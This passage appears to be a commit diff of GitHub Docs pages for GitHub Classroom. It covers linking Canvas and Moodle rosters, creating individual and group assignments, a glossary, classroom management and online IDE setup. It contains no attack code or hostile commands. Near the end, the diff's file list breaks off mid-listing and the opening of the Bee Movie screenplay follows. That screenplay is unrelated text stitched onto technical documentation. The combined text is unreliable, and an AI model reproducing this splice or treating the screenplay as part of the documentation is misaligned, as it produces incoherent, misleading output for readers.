Value or setting | | :- | :- | | **Consumer Key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared Secret** | Shared secret from {% data variables.product.prodname_classroom %} | | **Allow this tool to access the IMS Names and Role Provisioning Service** | Enabled | | **Configuration URL** | Launch URL from {% data variables.product.prodname_classroom %} | {% note %} **Note**: If you don't see a checkbox in Canvas labeled "Allow this tool to access the IMS Names and Role Provisioning Service", then your Canvas administrator must contact Canvas support to enable membership service configuration for your Canvas account. Without enabling this feature, you won't be able to sync the roster from Canvas. For more information, see [How do I contact Canvas Support?](https://community.canvaslms.com/t5/Canvas-Basics-Guide/How-do-I-contact-Canvas-Support/ta-p/389767) on the Canvas website. {% endnote %} 1. Click **Submit**. 1. In the left sidebar, click **Home**. 1. To prompt Canvas to send a confirmation email, in the left sidebar, click **GitHub Classroom**. Follow the instructions in the email to finish linking {% data variables.product.prodname_classroom %}. ### Configuring Moodle You can configure {% data variables.product.prodname_classroom %} as an activity for Moodle to import roster data into your classroom. For more information about Moodle, see the [Moodle website](https://moodle.org). You must be using Moodle version 3.0 or greater. 1. Sign into [Moodle](https://moodle.org/login/index.php). 1. Select the Moodle course to integrate with {% data variables.product.prodname_classroom %}. 1. Click **Turn editing on**. 1. Wherever you'd like {% data variables.product.prodname_classroom %} to be available in Moodle, click **Add an activity or resource**. 1. Choose **External tool** and click **Add**. 1. In the "Activity name" field, type "GitHub Classroom". 1. In the **Preconfigured tool** field, to the right of the drop-down menu, click **+**. 1. Under "External tool configuration", paste the configuration credentials from {% data variables.product.prodname_classroom %}. For more information, see "[Generating configuration credentials for your classroom](#generating-configuration-credentials-for-your-classroom)." | Field in Moodle app configuration | Value or setting | | :- | :- | | **Tool name** | {% data variables.product.prodname_classroom %} - _YOUR CLASSROOM NAME_<br/><br/>**Note**: You can use any name, but we suggest this value for clarity. | | **Tool URL** | Launch URL from {% data variables.product.prodname_classroom %} | | **LTI version** | LTI 1.0/1.1 | | **Default launch container** | New window | | **Consumer key** | Consumer key from {% data variables.product.prodname_classroom %} | | **Shared secret** | Shared secret from {% data variables.product.prodname_classroom %} | 1. Scroll to and click **Services**. 1. To the right of "IMS LTI Names and Role Provisioning", select the drop-down menu and click **Use this service to retrieve members' information as per privacy settings**. 1. Scroll to and click **Privacy**. 1. To the right of **Share launcher's name with tool** and **Share launcher's email with tool**, select the drop-down menus to click **Always**. 1. At the bottom of the page, click **Save changes**. 1. In the **Preconfigure tool** menu, click **GitHub Classroom - _YOUR CLASSROOM NAME_**. 1. Under "Common module settings", to the right of "Availability", select the drop-down menu and click **Hide from students**. 1. At the bottom of the page, click **Save and return to course**. 1. Navigate to anywhere you chose to display {% data variables.product.prodname_classroom %}, and click the {% data variables.product.prodname_classroom %} activity. ### Importing a roster from your LMS For more information about importing the roster from your LMS into {% data variables.product.prodname_classroom %}, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms#creating-a-roster-for-your-classroom)." ### Disconnecting your LMS {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Connect to a learning management system (LMS)", click **Connection Settings**.  1. Under "Delete Connection to your learning management system", click **Disconnect from your learning management system**.  145 .../education/manage-coursework-with-github-classroom/create-a-group-assignment.md @@ -0,0 +1,145 @@ --- title: Create a group assignment intro: 'You can create a collaborative assignment for teams of students who participate in your course.' versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/create-group-assignments --- ### About group assignments {% data reusables.classroom.assignments-group-definition %} Students can work together on a group assignment in a shared repository, like a team of professional developers. When a student accepts a group assignment, the student can create a new team or join an existing team. {% data variables.product.prodname_classroom %} saves the teams for an assignment as a set. You can name the set of teams for a specific assignment when you create the assignment, and you can reuse that set of teams for a later assignment. {% data reusables.classroom.classroom-creates-group-repositories %} {% data reusables.classroom.about-assignments %} You can decide how many teams one assignment can have, and how many members each team can have. Each team that a student creates for an assignment is a team within your organization on {% data variables.product.product_name %}. The visibility of the team is secret. Teams that you create on {% data variables.product.product_name %} will not appear in {% data variables.product.prodname_classroom %}. For more information, see "[About teams](/github/setting-up-and-managing-organizations-and-teams/about-teams)." For a video demonstration of the creation of a group assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, define teams, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Defining teams for an assignment](#defining-teams-for-an-assignment) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For a group assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the name of the team. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the team's name on {% data variables.product.product_name %} is "student-team", the name of the assignment repository for members of the team will be `assignment-1-student-team`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, then click **Group assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a individual assignment, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." #### Defining teams for an assignment If you've already created a group assignment for the classroom, you can reuse a set of teams for the new assignment. To create a new set with the teams that your students create for the assignment, type the name for the set. Optionally, type the maximum number of team members and total teams. {% tip %} **Tips**: - We recommend including details about the set of teams in the name for the set. For example, if you want to use the set of teams for one assignment, name the set after the assignment. If you want to reuse the set throughout a semester or course, name the set after the semester or course. - If you'd like to assign students to a specific team, give your students a name for the team and provide a list of members. {% endtip %}  #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each team that a student creates. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} ### Providing feedback Optionally, you can automatically grade assignments and create a space for discussing each submission with the team. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see the teams that are working on or have submitted an assignment in the **Teams** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Group assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-group-hero.png"> </div> ### Next steps - After you create the assignment and your students form teams, team members can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and the team can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)," and the free course on [managing merge conflicts](https://lab.github.com/githubtraining/managing-merge-conflicts) from {% data variables.product.prodname_learning %}. - When a team finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand how the team collaborated. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" - [Using Existing Teams in Group Assignments?](https://education.github.community/t/using-existing-teams-in-group-assignments/6999) in the {% data variables.product.prodname_education %} Community 19 ...sework-with-github-classroom/create-an-assignment-from-a-template-repository.md @@ -0,0 +1,19 @@ --- title: Create an assignment from a template repository intro: You can create an assignment from a template repository to provide starter code, documentation, and other resources to your students. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/using-template-repos-for-assignments --- You can use a template repository on {% data variables.product.product_name %} as starter code for an assignment on {% data variables.product.prodname_classroom %}. Your template repository can contain boilerplate code, documentation, and other resources for your students. For more information, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." To use the template repository for your assignment, the template repository must be owned by your organization, or the visibility of the template repository must be public. {% data reusables.classroom.you-may-want-to-predefine-repository-settings %} For more information, see "[Configure default settings for assignment repositories](/education/manage-coursework-with-github-classroom/configure-default-settings-for-assignment-repositories)." ### Further reading - "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" - "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)" 124 ...tion/manage-coursework-with-github-classroom/create-an-individual-assignment.md @@ -0,0 +1,124 @@ --- title: Create an individual assignment intro: You can create an assignment for students in your course to complete individually. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/creating-an-individual-assignment - /education/manage-coursework-with-github-classroom/create-an-individual-assignment --- ### About individual assignments {% data reusables.classroom.assignments-individual-definition %} {% data reusables.classroom.classroom-creates-individual-repositories %} {% data reusables.classroom.about-assignments %} For a video demonstration of the creation of an individual assignment, see "[Basics of setting up {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/basics-of-setting-up-github-classroom)." ### Prerequisites {% data reusables.classroom.assignments-classroom-prerequisite %} ### Creating an assignment {% data reusables.classroom.assignments-guide-create-the-assignment %} ### Setting up the basics for an assignment Name your assignment, decide whether to assign a deadline, and choose the visibility of assignment repositories. - [Naming an assignment](#naming-an-assignment) - [Assigning a deadline for an assignment](#assigning-a-deadline-for-an-assignment) - [Choosing an assignment type](#choosing-an-assignment-type) - [Choosing a visibility for assignment repositories](#choosing-a-visibility-for-assignment-repositories) #### Naming an assignment For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`. {% data reusables.classroom.assignments-type-a-title %} #### Assigning a deadline for an assignment {% data reusables.classroom.assignments-guide-assign-a-deadline %} #### Choosing an assignment type Under "Individual or group assignment", select the drop-down menu, and click **Individual assignment**. You can't change the assignment type after you create the assignment. If you'd rather create a group assignment, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." #### Choosing a visibility for assignment repositories {% data reusables.classroom.assignments-guide-choose-visibility %} {% data reusables.classroom.assignments-guide-click-continue-after-basics %} ### Adding starter code and configuring a development environment {% data reusables.classroom.assignments-guide-intro-for-environment %} - [Choosing a template repository](#choosing-a-template-repository) - [Choosing an online integrated development environment (IDE)](#choosing-an-online-integrated-development-environment-ide) #### Choosing a template repository By default, a new assignment will create an empty repository for each student on the roster for the classroom. {% data reusables.classroom.you-can-choose-a-template-repository %} For more information about template repositories, see "[Creating a template repository](/github/creating-cloning-and-archiving-repositories/creating-a-template-repository)." {% data reusables.classroom.assignments-guide-choose-template-repository %} {% data reusables.classroom.assignments-guide-click-continue-after-starter-code-and-feedback %} #### Choosing an online integrated development environment (IDE) {% data reusables.classroom.about-online-ides %} For more information, see "[Integrate {% data variables.product.prodname_classroom %} with an IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)." {% data reusables.classroom.assignments-guide-choose-an-online-ide %} ### Providing feedback for an assignment Optionally, you can automatically grade assignments and create a space for discussing each submission with the student. - [Testing assignments automatically](#testing-assignments-automatically) - [Preventing changes to important files](#preventing-changes-to-important-files) - [Creating a pull request for feedback](#creating-a-pull-request-for-feedback) #### Testing assignments automatically {% data reusables.classroom.assignments-guide-using-autograding %} #### Preventing changes to important files {% data reusables.classroom.assignments-guide-prevent-changes %} #### Creating a pull request for feedback {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} {% data reusables.classroom.assignments-guide-create-review-pull-request %} {% data reusables.classroom.assignments-guide-click-create-assignment-button %} ### Inviting students to an assignment {% data reusables.classroom.assignments-guide-invite-students-to-assignment %} You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %} <div class="procedural-image-wrapper"> <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png"> </div> ### Next steps - Once you create the assignment, students can start work on the assignment using Git and {% data variables.product.product_name %}'s features. Students can clone the repository, push commits, manage branches, create and review pull requests, address merge conflicts, and discuss changes with issues. Both you and student can review the commit history for the repository. For more information, see "[Getting started with {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github)," "[Creating, cloning, and archiving repositories](/github/creating-cloning-and-archiving-repositories)," "[Using Git](/github/using-git)," and "[Collaborating with issues and pull requests](/github/collaborating-with-issues-and-pull-requests)." - When a student finishes an assignment, you can review the files in the repository, or you can review the history and visualizations for the repository to better understand the student's work. For more information, see "[Visualizing repository data with graphs](/github/visualizing-repository-data-with-graphs)." - You can provide feedback for an assignment by commenting on individual commits or lines in a pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)" and "[Opening an issue from code](/github/managing-your-work-on-github/opening-an-issue-from-code)." For more information about creating saved replies to provide feedback for common errors, see "[About saved replies](/github/writing-on-github/about-saved-replies)." ### Further reading - "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/teach-and-learn-with-github-education/use-github-in-your-classroom-and-research)" - "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)" 9 ...on/manage-coursework-with-github-classroom/get-started-with-github-classroom.md @@ -0,0 +1,9 @@ --- title: Get started with GitHub Classroom shortTitle: Get started intro: Learn how to configure and use {% data variables.product.prodname_classroom %} to administer your course. mapTopic: true versions: free-pro-team: '*' --- 52 content/education/manage-coursework-with-github-classroom/glossary.md @@ -0,0 +1,52 @@ --- title: Glossary intro: You can review explanations of terminology for {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' --- ### assignment An assignment is coursework in {% data variables.product.prodname_classroom %}. A teacher can assign an assignment to an individual student or a group of students. Teachers can import starter code for the assignment, assign students, and create a deadline for each assignment. For more information, see the definitions for "[individual assignment](#individual-assignment)" and "[group assignment](#group-assignment)." --- ### classroom A classroom is the basic unit of {% data variables.product.prodname_classroom %}. Teachers can use a classroom to organize and manage students, teaching assistants, and assignments for a single course. A classroom belongs to an organization on {% data variables.product.prodname_dotcom_the_website %}. To administer a classroom, you must be an organization owner for the organization on {% data variables.product.prodname_dotcom %}. For more information, see "[Manage classrooms](/education/manage-coursework-with-github-classroom/manage-classrooms)." --- ### {% data variables.product.prodname_classroom %} {% data variables.product.prodname_classroom %} is a web application for educators that provides course administration tools integrated with {% data variables.product.prodname_dotcom %}. For more information, see the [{% data variables.product.prodname_classroom %}](https://classroom.github.com/) website. --- ### group assignment {% data reusables.classroom.assignments-group-definition %} For more information, see "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." --- ### identifier An identifier in {% data variables.product.prodname_classroom %} is a unique ID for a student participating in a course. For example, an identifier can be a student name, alphanumeric ID, or email address. --- ### individual assignment {% data reusables.classroom.assignments-individual-definition %} For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)." --- ### roster A roster allows a teacher to manage students and assignment submissions in a classroom on {% data variables.product.prodname_classroom %}. Teachers can create a roster by entering a list of student identifiers, or by connecting {% data variables.product.prodname_classroom %} to a learning management system (LMS). For more information about identifiers, see the definition of "[identifier](#identifier)." For more information about connecting {% data variables.product.prodname_classroom %} to an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." --- ### Further reading - "[{% data variables.product.prodname_dotcom %} glossary](/github/getting-started-with-github/github-glossary)" 32 content/education/manage-coursework-with-github-classroom/index.md @@ -0,0 +1,32 @@ --- title: Manage coursework with GitHub Classroom shortTitle: '{% data variables.product.prodname_classroom %}' intro: With {% data variables.product.prodname_classroom %}, you can use {% data variables.product.product_name %} to administer or participate in a course about software development. versions: free-pro-team: '*' --- ### Table of Contents {% topic_link_in_list /get-started-with-github-classroom %} {% link_in_list /basics-of-setting-up-github-classroom %} {% link_in_list /glossary %} {% topic_link_in_list /teach-with-github-classroom %} {% link_in_list /manage-classrooms %} {% link_in_list /create-an-individual-assignment %} {% link_in_list /create-a-group-assignment %} {% link_in_list /create-an-assignment-from-a-template-repository %} {% link_in_list /leave-feedback-with-pull-requests %} {% link_in_list /use-autograding %} {% link_in_list /configure-default-settings-for-assignment-repositories %} {% link_in_list /connect-a-learning-management-system-to-github-classroom %} {% topic_link_in_list /integrate-github-classroom-with-an-ide %} {% link_in_list /integrate-github-classroom-with-an-online-ide %} {% link_in_list /about-using-makecode-arcade-with-github-classroom %} {% link_in_list /about-using-replit-with-github-classroom %} {% link_in_list /run-student-code-in-an-online-ide %} {% topic_link_in_list /learn-with-github-classroom %} {% link_in_list /view-autograding-results %} 8 ...nage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide.md @@ -0,0 +1,8 @@ --- title: Integrate GitHub Classroom with an IDE shortTitle: Integrate with an IDE intro: You can help your students write, test, and debug code by preconfiguring a development environment for assignment repositories on {% data variables.product.prodname_classroom %}. mapTopic: true versions: free-pro-team: '*' --- 42 ...ursework-with-github-classroom/integrate-github-classroom-with-an-online-ide.md @@ -0,0 +1,42 @@ --- title: Integrate GitHub Classroom with an online IDE shortTitle: Integrate with an online IDE intro: You can preconfigure a supported online integrated development environment (IDE) for assignments you create in {% data variables.product.prodname_classroom %}. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/online-ide-integrations --- ### About integration with an online IDE {% data reusables.classroom.about-online-ides %} After a student accepts an assignment with an online IDE, the README file in the student's assignment repository will contain a button to open the assignment in the IDE. The student can begin working immediately, and no additional configuration is necessary.  ### Supported online IDEs {% data variables.product.prodname_classroom %} supports the following online IDEs. You can learn more about the student experience for each IDE. | IDE | More information | | :- | :- | | Microsoft MakeCode Arcade | "[About using MakeCode Arcade with {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/about-using-makecode-arcade-with-github-classroom)" | | Repl.it | "[About using Repl.it with GitHub Classroom](/education/manage-coursework-with-github-classroom/about-using-replit-with-github-classroom)" | ### Configuring an online IDE for an assignment You can choose the online IDE you'd like to use for an assignment when you create an assignment. To learn how to create a new assignment that uses an online IDE, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Authorizing the OAuth app for an online IDE The first time you configure an assignment with an online IDE, you must authorize the OAuth app for the online IDE for your organization.  For all repositories, grant the app **read** access to metadata, administration, and code, and **write** access to administration and code. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Further reading - "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)" 7 ...ducation/manage-coursework-with-github-classroom/learn-with-github-classroom.md @@ -0,0 +1,7 @@ --- title: Learn with GitHub Classroom intro: You can participate in coursework in {% data variables.product.prodname_classroom %} and see results from your teacher. mapTopic: true versions: free-pro-team: '*' --- 33 ...on/manage-coursework-with-github-classroom/leave-feedback-with-pull-requests.md @@ -0,0 +1,33 @@ --- title: Leave feedback with pull requests intro: You can leave feedback for your students in a special pull request within the repository for each assignment. permissions: People with read permissions to a repository can leave feedback in a pull request for the repository. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/leaving-feedback-in-github --- ### About feedback pull requests for assignments {% data reusables.classroom.you-can-create-a-pull-request-for-feedback %} When you enable the pull request for feedback for an assignment, {% data variables.product.prodname_classroom %} will create a special pull request titled **Feedback** in the assignment repository for each student or team. The pull request automatically shows every commit that a student pushed to the assignment repository's default branch. ### Prerequisites To create and access the feedback pull request, you must enable the feedback pull request when you create the assignment. {% data reusables.classroom.for-more-information-about-assignment-creation %} ### Leaving feedback in a pull request for an assignment {% data reusables.classroom.sign-into-github-classroom %} 1. In the list of classrooms, click the classroom with the assignment you want to review.  {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **Review**.  1. Review the pull request. For more information, see "[Commenting on a pull request](/github/collaborating-with-issues-and-pull-requests/commenting-on-a-pull-request)." ### Further reading - "[Integrate {% data variables.product.prodname_classroom %} with an IDE](http://localhost:4000/en/free-pro-team@latest/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-ide)" 121 content/education/manage-coursework-with-github-classroom/manage-classrooms.md @@ -0,0 +1,121 @@ --- title: Manage classrooms intro: You can create and manage a classroom for each course that you teach using {% data variables.product.prodname_classroom %}. permissions: Organization owners can manage a classroom for an organization. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/archive-a-classroom --- ### About classrooms {% data reusables.classroom.about-classrooms %}  ### About management of classrooms {% data variables.product.prodname_classroom %} uses organization accounts on {% data variables.product.product_name %} to manage permissions, administration, and security for each classroom that you create. Each organization can have multiple classrooms. After you create a classroom, {% data variables.product.prodname_classroom %} will prompt you to invite teaching assistants (TAs) and admins to the classroom. Each classroom can have one or more admins. Admins can be teachers, TAs, or any other course administrator who you'd like to have control over your classrooms on {% data variables.product.prodname_classroom %}. Invite TAs and admins to your classroom by inviting the user accounts on {% data variables.product.product_name %} to your organization as organization owners and sharing the URL for your classrom. Organization owners can administer any classroom for the organization. For more information, see "[Permission levels for an organization](/github/setting-up-and-managing-organizations-and-teams/permission-levels-for-an-organization)" and "[Inviting users to join your organization](/github/setting-up-and-managing-organizations-and-teams/inviting-users-to-join-your-organization)." When you're done using a classroom, you can archive the classroom and refer to the classroom, roster, and assignments later, or you can delete the classroom if you no longer need the classroom. ### About classroom rosters Each classroom has a roster. A roster is a list of identifiers for the students who participate in your course. When you first share the URL for an assignment with a student, the student must sign into {% data variables.product.product_name %} with a user account to link the user account to an identifier for the classroom. After the student links a user account, you can see the associated user account in the roster. You can also see when the student accepts or submits an assignment.  ### Prerequisites You must have an organization account on {% data variables.product.product_name %} to manage classrooms on {% data variables.product.prodname_classroom %}. For more information, see "[Types of {% data variables.product.company_short %} accounts](/github/getting-started-with-github/types-of-github-accounts#organization-accounts)" and "[Creating a new organization from scratch](/github/setting-up-and-managing-organizations-and-teams/creating-a-new-organization-from-scratch)." You must authorize the OAuth app for {% data variables.product.prodname_classroom %} for your organization to manage classrooms for your organization account. For more information, see "[Authorizing OAuth Apps](/github/authenticating-to-github/authorizing-oauth-apps)." ### Creating a classroom {% data reusables.classroom.sign-into-github-classroom %} 1. Click **New classroom**.  {% data reusables.classroom.guide-create-new-classroom %} After you create a classroom, you can begin creating assignments for students. For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" or "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)." ### Creating a roster for your classroom You can create a roster of the students who participate in your course. If your course already has a roster, you can update the students on the roster or delete the roster. For more information, see "[Adding a student to the roster for your classroom](#adding-students-to-the-roster-for-your-classroom)" or "[Deleting a roster for a classroom](#deleting-a-roster-for-a-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To connect {% data variables.product.prodname_classroom %} to your LMS and import a roster, click {% octicon "mortar-board" aria-label="The mortar board icon" %} **Import from a learning management system** and follow the instructions. For more information, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)."  1. To create a roster manually, type your student identifiers. Optionally, click **Upload a CSV or text file** to upload a file containing the identifiers.  1. Click **Create roster**.  ### Adding students to the roster for your classroom Your classroom must have an existing roster to add students to the roster. For more information about creating a roster, see "[Creating a roster for your classrom](#creating-a-roster-for-your-classroom)." {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. To the right of "Classroom roster", click **Update students**.  1. Follow the instructions to add students to the roster. - To import students from an LMS, click **Sync from a learning management system**. For more information about importing a roster from an LMS, see "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)." - To manually add students, under "Manually add students", click **Upload a CSV or text file** or type the identifiers for the students, then click **Add roster entries**.  ### Renaming a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. Under "Classroom name", type a new name for the classroom.  1. Click **Rename classroom**.  ### Archiving or unarchiving a classroom You can archive a classroom that you no longer use on {% data variables.product.prodname_classroom %}. When you archive a classroom, you can't create new assignments or edit existing assignments for the classroom. Students can't accept invitations to assignments in archived classrooms. {% data reusables.classroom.sign-into-github-classroom %} 1. To the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Archive**.  1. To unarchive a classroom, to the right of a classroom's name, select the {% octicon "kebab-horizontal" aria-label="The horizontal kebab icon" %} drop-down menu, then click **Unarchive**.  ### Deleting a roster for a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-students %} 1. Under "Delete this roster", click **Delete roster**.  1. Read the warnings, then click **Delete roster**.  ### Deleting a classroom {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-settings %} 1. To the right of "Delete this classroom", click **Delete classroom**.  1. **Read the warnings**. 1. To verify that you're deleting the correct classroom, type the name of the classroom you want to delete.  1. Click **Delete classroom**.  22 ...on/manage-coursework-with-github-classroom/run-student-code-in-an-online-ide.md @@ -0,0 +1,22 @@ --- title: Run student code in an online IDE intro: You can run the code from a student assignment within the online integrated development environment (IDE) that you configured for the assignment. versions: free-pro-team: '*' redirect_from: - /education/manage-coursework-with-github-classroom/running-student-code --- ### About student code and online IDEs If you configure an online integrated development environment (IDE) for an assignment, you can run the code within the online IDE. You don't need to clone the assignment repository to your computer. For more information about online IDEs, see "[Integrate {% data variables.product.prodname_classroom %} with an online IDE](/education/manage-coursework-with-github-classroom/integrate-github-classroom-with-an-online-ide)." ### Running student code in the online IDE {% data reusables.classroom.sign-into-github-classroom %} {% data reusables.classroom.click-classroom-in-list %} {% data reusables.classroom.click-assignment-in-list %} 1. To the right of the submission, click **View IDE**.  8 ...ducation/manage-coursework-with-github-classroom/teach-with-github-classroom.md @@ -0,0 +1,8 @@ --- title: Teach with GitHub Classroom intro: Learn how to set up your classroom and assignments. mapTopic: true versions: free-pro-team: '*' --- 93 content/education/manage-coursework-with-github-classroom/use-autograding.md 30 ...t/education/manage-coursework-with-github-classroom/view-autograding-results.md 90 content/education/quickstart.md 1 ...github-education/about-campus-advisors.md → ...github-education/about-campus-advisors.md 1 ...-github-education/about-campus-experts.md → ...-github-education/about-campus-experts.md 1 ...ducation-for-educators-and-researchers.md → ...ducation-for-educators-and-researchers.md 5 ...on/about-github-education-for-students.md → ...on/about-github-education-for-students.md 9 ...ithub-education/about-github-education.md → ...ithub-education/about-github-education.md 5 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According to all known laws of aviation, there is no way that a bee should be able to fly. Its wings are too small to get its fat little body off the ground. The bee, of course, flies anyway. Because bees don’t care what humans think is impossible.” SEQ. 75 - “INTRO TO BARRY” INT. BENSON HOUSE - DAY ANGLE ON: Sneakers on the ground. Camera PANS UP to reveal BARRY BENSON’S BEDROOM ANGLE ON: Barry’s hand flipping through different sweaters in his closet. BARRY Yellow black, yellow black, yellow black, yellow black, yellow black, yellow black...oohh, black and yellow... ANGLE ON: Barry wearing the sweater he picked, looking in the mirror. BARRY (CONT’D) Yeah, let’s shake it up a little. He picks the black and yellow one. He then goes to the sink, takes the top off a CONTAINER OF HONEY, and puts some honey into his hair. He squirts some in his mouth and gargles. Then he takes the lid off the bottle, and rolls some on like deodorant. CUT TO: INT. BENSON HOUSE KITCHEN - CONTINUOUS 